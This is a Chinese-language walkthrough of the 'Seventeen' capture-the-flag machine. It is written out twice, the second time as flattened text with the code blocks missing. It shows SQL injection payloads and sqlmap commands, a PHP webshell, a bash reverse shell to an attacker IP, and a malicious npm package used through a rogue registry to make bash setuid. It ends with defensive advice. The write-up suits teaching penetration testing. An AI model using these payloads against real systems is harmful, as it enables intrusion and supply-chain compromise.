实战打靶之seventeen
字数 1481 2025-08-12 11:34:50

Seventeen靶机渗透测试实战教学文档

1. 信息收集阶段

1.1 端口扫描

使用nmap进行初始扫描:

nmap -sV -p- target_ip

发现开放端口:

  • 22 (OpenSSH)
  • 80 (Apache)
  • 8000 (Apache)

根据服务版本推测操作系统为Ubuntu 18.04

1.2 Web目录枚举

使用feroxbuster进行目录爆破:

feroxbuster -u http://target_ip -w /path/to/wordlist.txt

未发现有用信息

1.3 子域名枚举

使用wfuzz进行子域名探测:

wfuzz -c -w /path/to/subdomains.txt -H "Host: FUZZ.seventeen.htb" target_ip

发现子域名:exam.seventeen.htb

2. 漏洞发现与利用

2.1 SQL注入漏洞

  1. 访问exam子域,发现考试管理系统
  2. 在/admin/login.php发现提示信息
  3. 使用searchsploit搜索历史漏洞:
searchsploit exam management system
  1. 发现有效payload:
poc=take_exam&id=1' AND 4755=4755 AND 'VHNu'='VHNu

2.2 SQLMap自动化利用

  1. 判断注入点:
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch
  1. 枚举数据库:
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --dbs
  1. 枚举表:
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -D database_name --tables
  1. 发现../oldmanagement/files/目录提示
  2. 枚举user表内容获取凭据

2.3 密码破解

使用CrackStation或somd5解密获取密码:

  • 密码:autodestruction

3. 获取初始访问权限

3.1 文件上传与命令执行

  1. 使用获取的凭据登录系统
  2. 发现文件上传功能
  3. 上传PHP webshell:
<?php system($_GET['cmd']); ?>
  1. 访问上传的webshell执行命令:
http://target/path/to/shell.php?cmd=id

3.2 获取反向shell

  1. 使用nc监听:
nc -lvnp 4444
  1. 通过webshell执行:
bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

3.3 升级shell

script /dev/null -c bash

4. 主机信息收集

4.1 数据库凭据发现

在配置文件中发现:

  • /var/www/oldmanagement/admin/conn.php
  • /var/www/mastermailer/config/config.inc.php
    包含数据库凭据:
  • 用户名:root
  • 密码:2020bestyearofmylife

4.2 SSH登录

使用发现的凭据:

ssh root@target_ip

5. 权限提升

5.1 邮件信息分析

在/var/mail/kavi发现重要信息:

  • 提到新项目和私有注册表
  • 旧记录器被替换为loglevel(JavaScript记录应用)

5.2 本地服务枚举

发现本地监听服务:

  • Roundcube邮件服务器:110, 143, 993, 995
  • MySQL:3306
  • DNS:53
  • Docker转发:8081 (exams), 8082 (oldmanager)
  • 未知服务:4873(与.npm相关)

5.3 NPM模块分析

  1. 在node_modules中发现db-logger模块
  2. 分析package.json和JavaScript文件
  3. 发现数据库凭据:
var con = mysql.createConnection({
  host: "localhost",
  user: "root",
  password: "IhateMathematics123#",
  database: "logger"
});

5.4 创建恶意NPM模块

  1. 创建loglevl目录并初始化:
mkdir loglevl && cd loglevl
npm init
  1. 编辑index.js文件添加恶意代码:
module.exports = {
  log: function() {
    require('child_process').exec('chmod +s /bin/bash');
  }
}

5.5 搭建本地Verdaccio

  1. 拉取Docker镜像:
docker pull verdaccio/verdaccio
  1. 运行容器:
docker run -d --name verdaccio -p 4873:4873 verdaccio/verdaccio

5.6 发布并触发恶意模块

  1. 修改.npmrc指向攻击者控制的注册表
  2. 运行启动脚本触发模块:
sudo /opt/app/startup.sh
  1. 获取root shell:
/bin/bash -p

6. 总结与关键点

6.1 渗透路径总结

  1. 信息收集 → 子域名枚举 → SQL注入 → 数据库凭据获取 → 初始访问
  2. 主机信息收集 → 邮件分析 → NPM模块漏洞 → 权限提升

6.2 关键学习点

  1. 子域名枚举在CTF中的重要性
  2. 历史漏洞搜索和验证技巧
  3. SQLMap的高级使用技巧
  4. 配置文件信息泄露的利用
  5. NPM模块的安全风险和利用方法
  6. 通过恶意包进行权限提升的技术

6.3 防御建议

  1. 对用户输入进行严格过滤防止SQL注入
  2. 避免在配置文件中存储明文凭据
  3. 限制文件上传类型和内容
  4. 定期更新第三方组件和依赖
  5. 实施最小权限原则
  6. 监控异常的网络活动和进程行为
Seventeen靶机渗透测试实战教学文档 1. 信息收集阶段 1.1 端口扫描 使用nmap进行初始扫描: 发现开放端口: 22 (OpenSSH) 80 (Apache) 8000 (Apache) 根据服务版本推测操作系统为Ubuntu 18.04 1.2 Web目录枚举 使用feroxbuster进行目录爆破: 未发现有用信息 1.3 子域名枚举 使用wfuzz进行子域名探测: 发现子域名:exam.seventeen.htb 2. 漏洞发现与利用 2.1 SQL注入漏洞 访问exam子域,发现考试管理系统 在/admin/login.php发现提示信息 使用searchsploit搜索历史漏洞: 发现有效payload: 2.2 SQLMap自动化利用 判断注入点: 枚举数据库: 枚举表: 发现../oldmanagement/files/目录提示 枚举user表内容获取凭据 2.3 密码破解 使用CrackStation或somd5解密获取密码: 密码:autodestruction 3. 获取初始访问权限 3.1 文件上传与命令执行 使用获取的凭据登录系统 发现文件上传功能 上传PHP webshell: 访问上传的webshell执行命令: 3.2 获取反向shell 使用nc监听: 通过webshell执行: 3.3 升级shell 4. 主机信息收集 4.1 数据库凭据发现 在配置文件中发现: /var/www/oldmanagement/admin/conn.php /var/www/mastermailer/config/config.inc.php 包含数据库凭据: 用户名:root 密码:2020bestyearofmylife 4.2 SSH登录 使用发现的凭据: 5. 权限提升 5.1 邮件信息分析 在/var/mail/kavi发现重要信息: 提到新项目和私有注册表 旧记录器被替换为loglevel(JavaScript记录应用) 5.2 本地服务枚举 发现本地监听服务: Roundcube邮件服务器:110, 143, 993, 995 MySQL:3306 DNS:53 Docker转发:8081 (exams), 8082 (oldmanager) 未知服务:4873(与.npm相关) 5.3 NPM模块分析 在node_ modules中发现db-logger模块 分析package.json和JavaScript文件 发现数据库凭据: 5.4 创建恶意NPM模块 创建loglevl目录并初始化: 编辑index.js文件添加恶意代码: 5.5 搭建本地Verdaccio 拉取Docker镜像: 运行容器: 5.6 发布并触发恶意模块 修改.npmrc指向攻击者控制的注册表 运行启动脚本触发模块: 获取root shell: 6. 总结与关键点 6.1 渗透路径总结 信息收集 → 子域名枚举 → SQL注入 → 数据库凭据获取 → 初始访问 主机信息收集 → 邮件分析 → NPM模块漏洞 → 权限提升 6.2 关键学习点 子域名枚举在CTF中的重要性 历史漏洞搜索和验证技巧 SQLMap的高级使用技巧 配置文件信息泄露的利用 NPM模块的安全风险和利用方法 通过恶意包进行权限提升的技术 6.3 防御建议 对用户输入进行严格过滤防止SQL注入 避免在配置文件中存储明文凭据 限制文件上传类型和内容 定期更新第三方组件和依赖 实施最小权限原则 监控异常的网络活动和进程行为